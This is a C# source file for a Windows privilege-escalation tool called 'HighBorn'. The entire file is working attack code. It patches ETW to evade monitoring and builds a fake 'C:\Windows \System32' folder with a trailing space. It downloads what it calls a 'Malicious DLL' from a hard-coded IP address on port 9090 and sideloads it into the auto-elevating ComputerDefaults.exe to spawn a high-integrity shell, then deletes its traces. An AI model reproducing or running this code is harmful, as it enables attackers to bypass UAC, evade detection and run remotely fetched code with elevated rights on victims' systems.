Program.cs 3.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103
  1. using System;
  2. using System.IO;
  3. using System.Runtime.InteropServices;
  4. using System.Diagnostics;
  5. using System.Net;
  6. using SharpSploit;
  7. namespace HighBorn
  8. {
  9. class HighBorn
  10. {
  11. [DllImport("kernel32.dll", SetLastError = true)]
  12. static extern bool Wow64DisableWow64FsRedirection(ref IntPtr ptr);
  13. [DllImport("kernel32.dll", SetLastError = true)]
  14. static extern bool Wow64RevertWow64FsRedirection(IntPtr ptr);
  15. [DllImport("kernel32.dll", SetLastError = true)]
  16. static extern bool CreateDirectory(string lpPathName, IntPtr lpSecurityAttributes);
  17. [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  18. static extern bool CopyFile(string lpExistingFileName, string lpNewFileName, bool bFailIfExists);
  19. [DllImport("kernel32.dll", SetLastError = true)]
  20. [return: MarshalAs(UnmanagedType.Bool)]
  21. static extern bool DeleteFileW([MarshalAs(UnmanagedType.LPWStr)] string lpFileName);
  22. [DllImport("kernel32.dll", SetLastError = true)]
  23. static extern bool RemoveDirectory(string lpPathName);
  24. public static void Main(string[] args)
  25. {
  26. IntPtr wow64Value = IntPtr.Zero;
  27. Wow64DisableWow64FsRedirection(ref wow64Value);
  28. SharpSploit.Evasion.ETW.PatchETWEventWrite();
  29. Console.WriteLine("[^] Directories Created");
  30. try
  31. {
  32. CreateDirectory(@"\\?\C:\Windows \", IntPtr.Zero);
  33. CreateDirectory(@"\\?\C:\Windows \System32\", IntPtr.Zero);
  34. }
  35. catch
  36. {
  37. Console.WriteLine("[-] Unable to create directories");
  38. }
  39. Console.WriteLine("[^] Copying Executable Into Mock Directory");
  40. try
  41. {
  42. CopyFile(@"C:\Windows\System32\ComputerDefaults.exe", @"C:\Windows \System32\ComputerDefaults.exe", true);
  43. }
  44. catch
  45. {
  46. Console.WriteLine("[-] Unable to create the mock directories");
  47. }
  48. Console.WriteLine("[^] Downloading Malicious DLL");
  49. try
  50. {
  51. using (WebClient webClient = new WebClient())
  52. {
  53. webClient.DownloadFile("http://172.16.202.178:9090/secur32.dll", @"C:\Windows\temp\secur32.dll");
  54. }
  55. }
  56. catch
  57. {
  58. Console.WriteLine("[^] DLL Downloaded");
  59. }
  60. CopyFile(@"C:\Windows\temp\secur32.dll", @"C:\Windows \System32\secur32.dll", true);
  61. Console.WriteLine("[^] Spawining High Integrity Shell");
  62. try
  63. {
  64. Process.Start(@"C:\Windows \System32\ComputerDefaults.exe").WaitForExit();
  65. }
  66. catch
  67. {
  68. Console.WriteLine("[-] Shell fucked up");
  69. }
  70. Console.WriteLine("[^] Cleaning Up");
  71. DeleteFileW(@"C:\Windows\temp\secur32.dll");
  72. DeleteFileW(@"C:\Windows \System32\ComputerDefaults.exe");
  73. DeleteFileW(@"C:\Windows \System32\secur32.dll");
  74. RemoveDirectory(@"C:\Windows \System32\");
  75. RemoveDirectory(@"C:\Windows \");
  76. Wow64RevertWow64FsRedirection(wow64Value);
  77. }
  78. }
  79. }